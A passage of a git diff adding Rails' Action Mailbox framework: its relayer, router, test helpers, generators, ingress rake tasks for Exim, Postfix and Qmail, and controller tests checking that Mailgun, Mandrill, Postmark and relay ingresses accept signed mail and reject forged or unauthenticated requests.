+          "Authorization" => "Basic #{Base64.strict_encode64(username + ":" + password)}"
+      end
+
+      def client
+        @client ||= Net::HTTP.new(uri.host, uri.port).tap do |connection|
+          if uri.scheme == "https"
+            require "openssl"
+
+            connection.use_ssl     = true
+            connection.verify_mode = OpenSSL::SSL::VERIFY_PEER
+          end
+
+          connection.open_timeout = 1
+          connection.read_timeout = 10
+        end
+      end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/router.rb b/actionmailbox/lib/action_mailbox/router.rb
new file mode 100644
index 0000000000000..0b67266af5c83
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/router.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # = Action Mailbox \Router
+  #
+  # Encapsulates the routes that live on the ApplicationMailbox and performs the actual routing when
+  # an inbound_email is received.
+  class Router
+    class RoutingError < StandardError; end
+
+    def initialize
+      @routes = []
+    end
+
+    def add_routes(routes)
+      routes.each do |(address, mailbox_name)|
+        add_route address, to: mailbox_name
+      end
+    end
+
+    def add_route(address, to:)
+      routes.append Route.new(address, to: to)
+    end
+
+    def route(inbound_email)
+      if mailbox = mailbox_for(inbound_email)
+        mailbox.receive(inbound_email)
+      else
+        inbound_email.bounced!
+
+        raise RoutingError
+      end
+    end
+
+    def mailbox_for(inbound_email)
+      routes.detect { |route| route.match?(inbound_email) }&.mailbox_class
+    end
+
+    private
+      attr_reader :routes
+  end
+end
+
+require "action_mailbox/router/route"
diff --git a/actionmailbox/lib/action_mailbox/router/route.rb b/actionmailbox/lib/action_mailbox/router/route.rb
new file mode 100644
index 0000000000000..7c67c775900f7
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/router/route.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # Encapsulates a route, which can then be matched against an inbound_email and provide a lookup of the matching
+  # mailbox class. See examples for the different route addresses and how to use them in the ActionMailbox::Base
+  # documentation.
+  class Router::Route
+    attr_reader :address, :mailbox_name
+
+    def initialize(address, to:)
+      @address, @mailbox_name = address, to
+
+      ensure_valid_address
+    end
+
+    def match?(inbound_email)
+      case address
+      when :all
+        true
+      when String
+        inbound_email.mail.recipients.any? { |recipient| address.casecmp?(recipient) }
+      when Regexp
+        inbound_email.mail.recipients.any? { |recipient| address.match?(recipient) }
+      when Proc
+        address.call(inbound_email)
+      else
+        address.match?(inbound_email)
+      end
+    end
+
+    def mailbox_class
+      "#{mailbox_name.to_s.camelize}Mailbox".constantize
+    end
+
+    private
+      def ensure_valid_address
+        unless [ Symbol, String, Regexp, Proc ].any? { |klass| address.is_a?(klass) } || address.respond_to?(:match?)
+          raise ArgumentError, "Expected a Symbol, String, Regexp, Proc, or matchable, got #{address.inspect}"
+        end
+      end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/routing.rb b/actionmailbox/lib/action_mailbox/routing.rb
new file mode 100644
index 0000000000000..4e98d4ee0b29f
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/routing.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module ActionMailbox
+  # See ActionMailbox::Base for how to specify routing.
+  module Routing
+    extend ActiveSupport::Concern
+
+    included do
+      cattr_accessor :router, default: ActionMailbox::Router.new
+    end
+
+    class_methods do
+      def routing(routes)
+        router.add_routes(routes)
+      end
+
+      def route(inbound_email)
+        router.route(inbound_email)
+      end
+
+      def mailbox_for(inbound_email)
+        router.mailbox_for(inbound_email)
+      end
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/test_case.rb b/actionmailbox/lib/action_mailbox/test_case.rb
new file mode 100644
index 0000000000000..5e78e428d3309
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/test_case.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+require "action_mailbox/test_helper"
+require "active_support/test_case"
+
+module ActionMailbox
+  class TestCase < ActiveSupport::TestCase
+    include ActionMailbox::TestHelper
+  end
+end
+
+ActiveSupport.run_load_hooks :action_mailbox_test_case, ActionMailbox::TestCase
diff --git a/actionmailbox/lib/action_mailbox/test_helper.rb b/actionmailbox/lib/action_mailbox/test_helper.rb
new file mode 100644
index 0000000000000..ea50afd7f0a61
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/test_helper.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+require "mail"
+
+module ActionMailbox
+  module TestHelper
+    # Create an InboundEmail record using an eml fixture in the format of message/rfc822
+    # referenced with +fixture_name+ located in +test/fixtures/files/fixture_name+.
+    def create_inbound_email_from_fixture(fixture_name, status: :processing)
+      create_inbound_email_from_source file_fixture(fixture_name).read, status: status
+    end
+
+    # Creates an InboundEmail by specifying through options or a block.
+    #
+    # ==== Options
+    #
+    # * <tt>:status</tt> - The +status+ to set for the created InboundEmail.
+    #   For possible statuses, see its documentation.
+    #
+    # ==== Creating a simple email
+    #
+    # When you only need to set basic fields like +from+, +to+, +subject+, and
+    # +body+, you can pass them directly as options.
+    #
+    #   create_inbound_email_from_mail(from: "david@loudthinking.com", subject: "Hello!")
+    #
+    # ==== Creating a multi-part email
+    #
+    # When you need to create a more intricate email, like a multi-part email
+    # that contains both a plaintext version and an HTML version, you can pass a
+    # block.
+    #
+    #   create_inbound_email_from_mail do
+    #     to "David Heinemeier Hansson <david@loudthinking.com>"
+    #     from "Bilbo Baggins <bilbo@bagend.com>"
+    #     subject "Come down to the Shire!"
+    #
+    #     text_part do
+    #       body "Please join us for a party at Bag End"
+    #     end
+    #
+    #     html_part do
+    #       body "<h1>Please join us for a party at Bag End</h1>"
+    #     end
+    #   end
+    #
+    # As with +Mail.new+, you can also use a block parameter to define the parts
+    # of the message:
+    #
+    #   create_inbound_email_from_mail do |mail|
+    #     mail.to "David Heinemeier Hansson <david@loudthinking.com>"
+    #     mail.from "Bilbo Baggins <bilbo@bagend.com>"
+    #     mail.subject "Come down to the Shire!"
+    #
+    #     mail.text_part do |part|
+    #       part.body "Please join us for a party at Bag End"
+    #     end
+    #
+    #     mail.html_part do |part|
+    #       part.body "<h1>Please join us for a party at Bag End</h1>"
+    #     end
+    #   end
+    def create_inbound_email_from_mail(status: :processing, **mail_options, &block)
+      mail = Mail.new(mail_options, &block)
+      # Bcc header is not encoded by default
+      mail[:bcc].include_in_headers = true if mail[:bcc]
+
+      create_inbound_email_from_source mail.to_s, status: status
+    end
+
+    # Create an InboundEmail using the raw rfc822 +source+ as text.
+    def create_inbound_email_from_source(source, status: :processing)
+      ActionMailbox::InboundEmail.create_and_extract_message_id! source, status: status
+    end
+
+
+    # Create an InboundEmail from fixture using the same arguments as create_inbound_email_from_fixture
+    # and immediately route it to processing.
+    def receive_inbound_email_from_fixture(*args)
+      create_inbound_email_from_fixture(*args).tap(&:route)
+    end
+
+    # Create an InboundEmail using the same options or block as
+    # create_inbound_email_from_mail, then immediately route it for processing.
+    def receive_inbound_email_from_mail(**kwargs, &block)
+      create_inbound_email_from_mail(**kwargs, &block).tap(&:route)
+    end
+
+    # Create an InboundEmail using the same arguments as create_inbound_email_from_source and immediately route it
+    # to processing.
+    def receive_inbound_email_from_source(*args)
+      create_inbound_email_from_source(*args).tap(&:route)
+    end
+  end
+end
diff --git a/actionmailbox/lib/action_mailbox/version.rb b/actionmailbox/lib/action_mailbox/version.rb
new file mode 100644
index 0000000000000..10c4cee6adcf7
--- /dev/null
+++ b/actionmailbox/lib/action_mailbox/version.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "gem_version"
+
+module ActionMailbox
+  # Returns the currently loaded version of Action Mailbox as a +Gem::Version+.
+  def self.version
+    gem_version
+  end
+end
diff --git a/actionmailbox/lib/generators/action_mailbox/install/install_generator.rb b/actionmailbox/lib/generators/action_mailbox/install/install_generator.rb
new file mode 100644
index 0000000000000..05066d6071d2c
--- /dev/null
+++ b/actionmailbox/lib/generators/action_mailbox/install/install_generator.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+require "rails/generators/mailbox/mailbox_generator"
+
+module ActionMailbox
+  module Generators
+    class InstallGenerator < ::Rails::Generators::Base
+      source_root Rails::Generators::MailboxGenerator.source_root
+
+      def create_action_mailbox_files
+        say "Copying application_mailbox.rb to app/mailboxes", :green
+        template "application_mailbox.rb", "app/mailboxes/application_mailbox.rb"
+      end
+
+      def add_action_mailbox_production_environment_config
+        environment <<~end_of_config, env: "production"
+          # Prepare the ingress controller used to receive mail
+          # config.action_mailbox.ingress = :relay
+
+        end_of_config
+      end
+
+      def create_migrations
+        rails_command "railties:install:migrations FROM=active_storage,action_mailbox", inline: true
+      end
+    end
+  end
+end
diff --git a/actionmailbox/lib/rails/generators/mailbox/USAGE b/actionmailbox/lib/rails/generators/mailbox/USAGE
new file mode 100644
index 0000000000000..371fc2af69119
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/mailbox/USAGE
@@ -0,0 +1,10 @@
+Description:
+    Generates a new mailbox class in app/mailboxes and invokes your template
+    engine and test framework generators.
+
+Example:
+    `bin/rails generate mailbox inbox`
+
+    creates an InboxMailbox class and test:
+        Mailbox:  app/mailboxes/inbox_mailbox.rb
+        Test:     test/mailboxes/inbox_mailbox_test.rb
diff --git a/actionmailbox/lib/rails/generators/mailbox/mailbox_generator.rb b/actionmailbox/lib/rails/generators/mailbox/mailbox_generator.rb
new file mode 100644
index 0000000000000..c2c403b8f6e94
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/mailbox/mailbox_generator.rb
@@ -0,0 +1,32 @@
+# frozen_string_literal: true
+
+module Rails
+  module Generators
+    class MailboxGenerator < NamedBase
+      source_root File.expand_path("templates", __dir__)
+
+      check_class_collision suffix: "Mailbox"
+
+      def create_mailbox_file
+        template "mailbox.rb", File.join("app/mailboxes", class_path, "#{file_name}_mailbox.rb")
+
+        in_root do
+          if behavior == :invoke && !File.exist?(application_mailbox_file_name)
+            template "application_mailbox.rb", application_mailbox_file_name
+          end
+        end
+      end
+
+      hook_for :test_framework
+
+      private
+        def file_name # :doc:
+          @_file_name ||= super.sub(/_mailbox\z/i, "")
+        end
+
+        def application_mailbox_file_name
+          "app/mailboxes/application_mailbox.rb"
+        end
+    end
+  end
+end
diff --git a/actionmailbox/lib/rails/generators/mailbox/templates/application_mailbox.rb.tt b/actionmailbox/lib/rails/generators/mailbox/templates/application_mailbox.rb.tt
new file mode 100644
index 0000000000000..ac22d03cd29ac
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/mailbox/templates/application_mailbox.rb.tt
@@ -0,0 +1,3 @@
+class ApplicationMailbox < ActionMailbox::Base
+  # routing /something/i => :somewhere
+end
diff --git a/actionmailbox/lib/rails/generators/mailbox/templates/mailbox.rb.tt b/actionmailbox/lib/rails/generators/mailbox/templates/mailbox.rb.tt
new file mode 100644
index 0000000000000..110b3b9d7e17d
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/mailbox/templates/mailbox.rb.tt
@@ -0,0 +1,4 @@
+class <%= class_name %>Mailbox < ApplicationMailbox
+  def process
+  end
+end
diff --git a/actionmailbox/lib/rails/generators/test_unit/mailbox_generator.rb b/actionmailbox/lib/rails/generators/test_unit/mailbox_generator.rb
new file mode 100644
index 0000000000000..2ec7d11a2fa07
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/test_unit/mailbox_generator.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module TestUnit
+  module Generators
+    class MailboxGenerator < ::Rails::Generators::NamedBase
+      source_root File.expand_path("templates", __dir__)
+
+      check_class_collision suffix: "MailboxTest"
+
+      def create_test_files
+        template "mailbox_test.rb", File.join("test/mailboxes", class_path, "#{file_name}_mailbox_test.rb")
+      end
+
+      private
+        def file_name # :doc:
+          @_file_name ||= super.sub(/_mailbox\z/i, "")
+        end
+    end
+  end
+end
diff --git a/actionmailbox/lib/rails/generators/test_unit/templates/mailbox_test.rb.tt b/actionmailbox/lib/rails/generators/test_unit/templates/mailbox_test.rb.tt
new file mode 100644
index 0000000000000..3e215b4d0bed7
--- /dev/null
+++ b/actionmailbox/lib/rails/generators/test_unit/templates/mailbox_test.rb.tt
@@ -0,0 +1,11 @@
+require "test_helper"
+
+class <%= class_name %>MailboxTest < ActionMailbox::TestCase
+  # test "receive mail" do
+  #   receive_inbound_email_from_mail \
+  #     to: '"someone" <someone@example.com>',
+  #     from: '"else" <else@example.com>',
+  #     subject: "Hello world!",
+  #     body: "Hello?"
+  # end
+end
diff --git a/actionmailbox/lib/tasks/ingress.rake b/actionmailbox/lib/tasks/ingress.rake
new file mode 100644
index 0000000000000..43b613ea12d7d
--- /dev/null
+++ b/actionmailbox/lib/tasks/ingress.rake
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+namespace :action_mailbox do
+  namespace :ingress do
+    task :environment do
+      require "active_support"
+      require "active_support/core_ext/object/blank"
+      require "action_mailbox/relayer"
+    end
+
+    desc "Relay an inbound email from Exim to Action Mailbox (URL and INGRESS_PASSWORD required)"
+    task exim: "action_mailbox:ingress:environment" do
+      url, password = ENV.values_at("URL", "INGRESS_PASSWORD")
+
+      if url.blank? || password.blank?
+        print "URL and INGRESS_PASSWORD are required"
+        exit 64 # EX_USAGE
+      end
+
+      ActionMailbox::Relayer.new(url: url, password: password).relay(STDIN.read).tap do |result|
+        print result.message
+
+        case
+        when result.success?
+          exit 0
+        when result.transient_failure?
+          exit 75 # EX_TEMPFAIL
+        else
+          exit 69 # EX_UNAVAILABLE
+        end
+      end
+    end
+
+    desc "Relay an inbound email from Postfix to Action Mailbox (URL and INGRESS_PASSWORD required)"
+    task postfix: "action_mailbox:ingress:environment" do
+      url, password = ENV.values_at("URL", "INGRESS_PASSWORD")
+
+      if url.blank? || password.blank?
+        print "4.3.5 URL and INGRESS_PASSWORD are required"
+        exit 1
+      end
+
+      ActionMailbox::Relayer.new(url: url, password: password).relay(STDIN.read).tap do |result|
+        print "#{result.status_code} #{result.message}"
+        exit result.success?
+      end
+    end
+
+    desc "Relay an inbound email from Qmail to Action Mailbox (URL and INGRESS_PASSWORD required)"
+    task qmail: "action_mailbox:ingress:environment" do
+      url, password = ENV.values_at("URL", "INGRESS_PASSWORD")
+
+      if url.blank? || password.blank?
+        print "URL and INGRESS_PASSWORD are required"
+        exit 111
+      end
+
+      ActionMailbox::Relayer.new(url: url, password: password).relay(STDIN.read).tap do |result|
+        print result.message
+
+        case
+        when result.success?
+          exit 0
+        when result.transient_failure?
+          exit 111
+        else
+          exit 100
+        end
+      end
+    end
+  end
+end
diff --git a/actionmailbox/lib/tasks/install.rake b/actionmailbox/lib/tasks/install.rake
new file mode 100644
index 0000000000000..cffa6c9c0f431
--- /dev/null
+++ b/actionmailbox/lib/tasks/install.rake
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+desc "Install Action Mailbox and its dependencies"
+task "action_mailbox:install" do
+  Rails::Command.invoke :generate, ["action_mailbox:install"]
+end
diff --git a/actionmailbox/test/controllers/ingresses/mailgun/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/ingresses/mailgun/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..dfed9fa63c465
--- /dev/null
+++ b/actionmailbox/test/controllers/ingresses/mailgun/inbound_emails_controller_test.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+ENV["MAILGUN_INGRESS_SIGNING_KEY"] = "tbsy84uSV1Kt3ZJZELY2TmShPRs91E3yL4tzf96297vBCkDWgL"
+
+class ActionMailbox::Ingresses::Mailgun::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
+  setup { ActionMailbox.ingress = :mailgun }
+
+  test "receiving an inbound email from Mailgun" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      travel_to "2018-10-09 15:15:00 EDT"
+      post rails_mailgun_inbound_emails_url, params: {
+        timestamp: 1539112500,
+        token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+        signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+        "body-mime" => file_fixture("../files/welcome.eml").read
+      }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/welcome.eml").read, inbound_email.raw_email.download
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "receiving an inbound email from Mailgun with non UTF-8 characters" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      travel_to "2018-10-09 15:15:00 EDT"
+      post rails_mailgun_inbound_emails_url, params: {
+        timestamp: 1539112500,
+        token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+        signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+        "body-mime" => file_fixture("../files/invalid_utf.eml").read
+      }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/invalid_utf.eml").binread, inbound_email.raw_email.download
+    assert_equal "05988AA6EC0D44318855A5E39E3B6F9E@jansterba.com", inbound_email.message_id
+  end
+
+  test "add X-Original-To to email from Mailgun" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      travel_to "2018-10-09 15:15:00 EDT"
+      post rails_mailgun_inbound_emails_url, params: {
+        timestamp: 1539112500,
+        token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+        signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+        "body-mime" => file_fixture("../files/welcome.eml").read,
+        recipient: "replies@example.com"
+      }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    mail = Mail.from_source(inbound_email.raw_email.download)
+    assert_equal "replies@example.com", mail.header["X-Original-To"].decoded
+  end
+
+  test "rejecting a delayed inbound email from Mailgun" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      travel_to "2018-10-09 15:26:00 EDT"
+      post rails_mailgun_inbound_emails_url, params: {
+        timestamp: 1539112500,
+        token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+        signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+        "body-mime" => file_fixture("../files/welcome.eml").read
+      }
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "rejecting a forged inbound email from Mailgun" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      travel_to "2018-10-09 15:15:00 EDT"
+      post rails_mailgun_inbound_emails_url, params: {
+        timestamp: 1539112500,
+        token: "Zx8mJBiGmiiyyfWnho3zKyjCg2pxLARoCuBM7X9AKCioShGiMX",
+        signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+        "body-mime" => file_fixture("../files/welcome.eml").read
+      }
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "raising when the configured Mailgun Signing key is nil" do
+    switch_key_to nil do
+      assert_raises ArgumentError do
+        travel_to "2018-10-09 15:15:00 EDT"
+        post rails_mailgun_inbound_emails_url, params: {
+          timestamp: 1539112500,
+          token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+          signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+          "body-mime" => file_fixture("../files/welcome.eml").read
+        }
+      end
+    end
+  end
+
+  test "raising when the configured Mailgun Signing key is blank" do
+    switch_key_to "" do
+      assert_raises ArgumentError do
+        travel_to "2018-10-09 15:15:00 EDT"
+        post rails_mailgun_inbound_emails_url, params: {
+          timestamp: 1539112500,
+          token: "7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi",
+          signature: "ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc",
+          "body-mime" => file_fixture("../files/welcome.eml").read
+        }
+      end
+    end
+  end
+
+  private
+    def switch_key_to(new_key)
+      previous_key, ENV["MAILGUN_INGRESS_SIGNING_KEY"] = ENV["MAILGUN_INGRESS_SIGNING_KEY"], new_key
+      yield
+    ensure
+      ENV["MAILGUN_INGRESS_SIGNING_KEY"] = previous_key
+    end
+end
diff --git a/actionmailbox/test/controllers/ingresses/mandrill/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/ingresses/mandrill/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..7dc900aa68c46
--- /dev/null
+++ b/actionmailbox/test/controllers/ingresses/mandrill/inbound_emails_controller_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+ENV["MANDRILL_INGRESS_API_KEY"] = "1l9Qf7lutEf7h73VXfBwhw"
+
+class ActionMailbox::Ingresses::Mandrill::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
+  setup do
+    ActionMailbox.ingress = :mandrill
+    @events = JSON.generate([{ event: "inbound", msg: { raw_msg: file_fixture("../files/welcome.eml").read } }])
+  end
+
+  test "verifying existence of Mandrill inbound route" do
+    # Mandrill uses a HEAD request to verify if a URL exists before creating the ingress webhook
+    head rails_mandrill_inbound_health_check_url
+    assert_response :ok
+  end
+
+  test "receiving an inbound email from Mandrill" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_mandrill_inbound_emails_url,
+        headers: { "X-Mandrill-Signature" => "1bNbyqkMFL4VYIT5+RQCrPs/mRY=" }, params: { mandrill_events: @events }
+    end
+
+    assert_response :ok
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/welcome.eml").read, inbound_email.raw_email.download
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "rejecting a forged inbound email from Mandrill" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_mandrill_inbound_emails_url,
+        headers: { "X-Mandrill-Signature" => "forged" }, params: { mandrill_events: @events }
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "raising when Mandrill API key is nil" do
+    switch_key_to nil do
+      assert_raises ArgumentError do
+        post rails_mandrill_inbound_emails_url,
+          headers: { "X-Mandrill-Signature" => "gldscd2tAb/G+DmpiLcwukkLrC4=" }, params: { mandrill_events: @events }
+      end
+    end
+  end
+
+  test "raising when Mandrill API key is blank" do
+    switch_key_to "" do
+      assert_raises ArgumentError do
+        post rails_mandrill_inbound_emails_url,
+          headers: { "X-Mandrill-Signature" => "gldscd2tAb/G+DmpiLcwukkLrC4=" }, params: { mandrill_events: @events }
+      end
+    end
+  end
+
+  private
+    def switch_key_to(new_key)
+      previous_key, ENV["MANDRILL_INGRESS_API_KEY"] = ENV["MANDRILL_INGRESS_API_KEY"], new_key
+      yield
+    ensure
+      ENV["MANDRILL_INGRESS_API_KEY"] = previous_key
+    end
+end
diff --git a/actionmailbox/test/controllers/ingresses/postmark/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/ingresses/postmark/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..11982f74e8319
--- /dev/null
+++ b/actionmailbox/test/controllers/ingresses/postmark/inbound_emails_controller_test.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionMailbox::Ingresses::Postmark::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
+  setup { ActionMailbox.ingress = :postmark }
+
+  test "receiving an inbound email from Postmark" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_postmark_inbound_emails_url,
+        headers: { authorization: credentials }, params: { RawEmail: file_fixture("../files/welcome.eml").read }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/welcome.eml").read, inbound_email.raw_email.download
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "receiving an inbound email from Postmark with non UTF-8 characters" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_postmark_inbound_emails_url,
+           headers: { authorization: credentials }, params: { RawEmail: file_fixture("../files/invalid_utf.eml").read }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/invalid_utf.eml").binread, inbound_email.raw_email.download
+    assert_equal "05988AA6EC0D44318855A5E39E3B6F9E@jansterba.com", inbound_email.message_id
+  end
+
+  test "add X-Original-To to email from Postmark" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_postmark_inbound_emails_url,
+        headers: { authorization: credentials }, params: {
+          RawEmail: file_fixture("../files/welcome.eml").read,
+          OriginalRecipient: "thisguy@domain.abcd",
+        }
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    mail = Mail.from_source(inbound_email.raw_email.download)
+    assert_equal "thisguy@domain.abcd", mail.header["X-Original-To"].decoded
+  end
+
+  test "rejecting when RawEmail param is missing" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_postmark_inbound_emails_url,
+        headers: { authorization: credentials }, params: { From: "someone@example.com" }
+    end
+
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+  end
+
+  test "rejecting an unauthorized inbound email from Postmark" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_postmark_inbound_emails_url, params: { RawEmail: file_fixture("../files/welcome.eml").read }
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "raising when the configured password is nil" do
+    switch_password_to nil do
+      assert_raises ArgumentError do
+        post rails_postmark_inbound_emails_url,
+          headers: { authorization: credentials }, params: { RawEmail: file_fixture("../files/welcome.eml").read }
+      end
+    end
+  end
+
+  test "raising when the configured password is blank" do
+    switch_password_to "" do
+      assert_raises ArgumentError do
+        post rails_postmark_inbound_emails_url,
+          headers: { authorization: credentials }, params: { RawEmail: file_fixture("../files/welcome.eml").read }
+      end
+    end
+  end
+end
diff --git a/actionmailbox/test/controllers/ingresses/relay/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/ingresses/relay/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..a0b121bb4bf1c
--- /dev/null
+++ b/actionmailbox/test/controllers/ingresses/relay/inbound_emails_controller_test.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionMailbox::Ingresses::Relay::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
+  setup { ActionMailbox.ingress = :relay }
+
+  test "receiving an inbound email relayed from an SMTP server" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "message/rfc822" },
+        params: file_fixture("../files/welcome.eml").read
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/welcome.eml").read, inbound_email.raw_email.download
+    assert_equal "0CB459E0-0336-41DA-BC88-E6E28C697DDB@37signals.com", inbound_email.message_id
+  end
+
+  test "receiving an inbound email relayed from an SMTP server with non UTF-8 characters" do
+    assert_difference -> { ActionMailbox::InboundEmail.count }, +1 do
+      post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "message/rfc822" },
+           params: file_fixture("../files/invalid_utf.eml").read
+    end
+
+    assert_response :no_content
+
+    inbound_email = ActionMailbox::InboundEmail.last
+    assert_equal file_fixture("../files/invalid_utf.eml").binread, inbound_email.raw_email.download
+    assert_equal "05988AA6EC0D44318855A5E39E3B6F9E@jansterba.com", inbound_email.message_id
+  end
+
+  test "rejecting a request with no body" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "message/rfc822" },
+        env: { "rack.input" => nil }
+    end
+
+    assert_response ActionDispatch::Constants::UNPROCESSABLE_CONTENT
+  end
+
+  test "rejecting an unauthorized inbound email" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_relay_inbound_emails_url, headers: { "Content-Type" => "message/rfc822" },
+        params: file_fixture("../files/welcome.eml").read
+    end
+
+    assert_response :unauthorized
+  end
+
+  test "rejecting an inbound email of an unsupported media type" do
+    assert_no_difference -> { ActionMailbox::InboundEmail.count } do
+      post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "text/plain" },
+        params: file_fixture("../files/welcome.eml").read
+    end
+
+    assert_response :unsupported_media_type
+  end
+
+  test "raising when the configured password is nil" do
+    switch_password_to nil do
+      assert_raises ArgumentError do
+        post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "message/rfc822" },
+          params: file_fixture("../files/welcome.eml").read
+      end
+    end
+  end
+
+  test "raising when the configured password is blank" do
+    switch_password_to "" do
+      assert_raises ArgumentError do
+        post rails_relay_inbound_emails_url, headers: { "Authorization" => credentials, "Content-Type" => "message/rfc822" },
+          params: file_fixture("../files/welcome.eml").read
+      end
+    end
+  end
+end
diff --git a/actionmailbox/test/controllers/ingresses/sendgrid/inbound_emails_controller_test.rb b/actionmailbox/test/controllers/ingresses/sendgrid/inbound_emails_controller_test.rb
new file mode 100644
index 0000000000000..3454585088e91
--- /dev/null
+++ b/actionmailbox/test/controllers/ingresses/sendgrid/inbound_emails_controller_test.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionMailbox::Ingresses::Sendgrid::InboundEmailsControllerTest < ActionDispatch::IntegrationTest
